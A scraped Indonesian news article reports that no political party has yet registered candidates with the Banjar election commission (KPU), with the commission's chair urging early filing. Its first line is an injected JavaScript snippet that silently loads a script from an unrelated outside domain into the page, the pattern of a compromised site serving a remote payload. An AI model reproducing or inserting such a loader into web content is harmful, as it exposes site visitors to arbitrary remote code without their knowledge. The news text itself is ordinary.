(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Hari keempat masa pendaftaran caleg di KPU Banjar, Jumat (6/7), ternyata masih belum ada parpol yang nongol menyerahkan daftar calegnya. Ketua KPU Banjar Muhaimin S.Ag berharap parpol lebih awal mendaftar dan tak menunggu last minute. Sehingga jika ada kesalahan berkas, bisa diperbaiki.
“Mestinya jauh-jauh hari seperti sekarang ini para calon sudah ada yang datang untuk mendaftar, namun nyatanya sampai dihari ke empat ini masih belum ada partai politik yang mendaftarkan bakal calon anggota DPRDnya ke KPU Kabupaten Banjar,†ujarnya.
Adapun tujuan para caleg yang sedari dini bisa menyerahkan pemberkasannya agar nantinya apa bila ada kesalahan teknis dari KPU dapat mendiskusikan hal tersebut dan mengkonfirmasi kepada yang bersangkutan agar dapat memperbaiki apa yang menjadi kesalahan. “Apabila ada kesalahan atau kendala ya harus di konfirmasikan kekami, kami juga bertanya-tanya sampai saat ini masih belum ada pendaftaran bakal calon yang masuk, jangan sampai nanti pas sudah deadlinenya nanti kami yang repot dan keteteran,†ujarnya.
Menanggapi fenomena seperti ini Muhaimin menghimbau agar semua bakal calon diharapkan sesegera mungkin untuk menyerahkan pengajuan permohonan tersebut. Sehingga KPU Kabupaten Banjar semakin leluasa untuk melihat kelengkapan dan kekurangan sehingga bisa menjadi bahan untuk mempercepat perbaikan bacaleg tersebut.
“Saya menghimbau kepada bacalek DPRD Kabupaten Banjar untuk sesegera mungkin mengajukan pendaftaran, supaya KPU Kabupaten Banjar dapat luluasa untuk mengoreksi dan mempercepat perbaikan berkas yang diajukan nantinya,†harapnya.
Apakah syarat yang harus dipenuhi bacaleg pada tahun ini terlalu berbelit-belit sehingga merepotan dan berpengaruh terhadap sepinya pendaftaran di KPU Kabupaten Banjar? Muhaimin menepiskan hal tersebut. Menurutnya, persyaratan bacaleg untuk tahun ini tidak jauh berbeda dengan tahun yang lalu.
“Persyaratan untuk bacaleg tahun ini tidak jauh berbeda dengan tahun yang lalu, artinya dari segi waktu tentunya sedari kemaren sudah bisa di siasati, tapi kami menyadari dan sedikit banyaknya memaklumi juga mungkin ada syarat-syarat tertentu yang memang membutuhkan banyak waktu untuk penyelesaiannya,†ungkapnya. (rendy)
Kadishub Banjarbaru: Setelah Kajian Selesai, Berikutnya Perizinan BPJN dan BPTD Read More
KANALKALIMANTAN.COM, SOLO - Ketua Dewan Kerajinan Nasional Daerah (Dekranasda) Hulu Sungai Utara (HSU) Gusti Elvira… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin memulai program SKPD Instansi Mengajar dengan… Read More
KANALKALIMANTAN.COM, SOLO - Penjabat (Pj) Bupati Kapuas Erlin Hardi bersilaturahmi ke kediaman Habib Syech bin… Read More
KANALKALIMANTAN.COM, SOLO - Kerajinan dari rotan merah menjadi salah satu primadona yang dihadirkan Dewan Kerajinan… Read More
KANALKALIMANTAN.COM, YOGYAKARTA - Penjabat (Pj) Bupati Kapuas Erlin Hardi berdialog dengan mahasiswa asal Kabupaten Kapuas… Read More
This website uses cookies.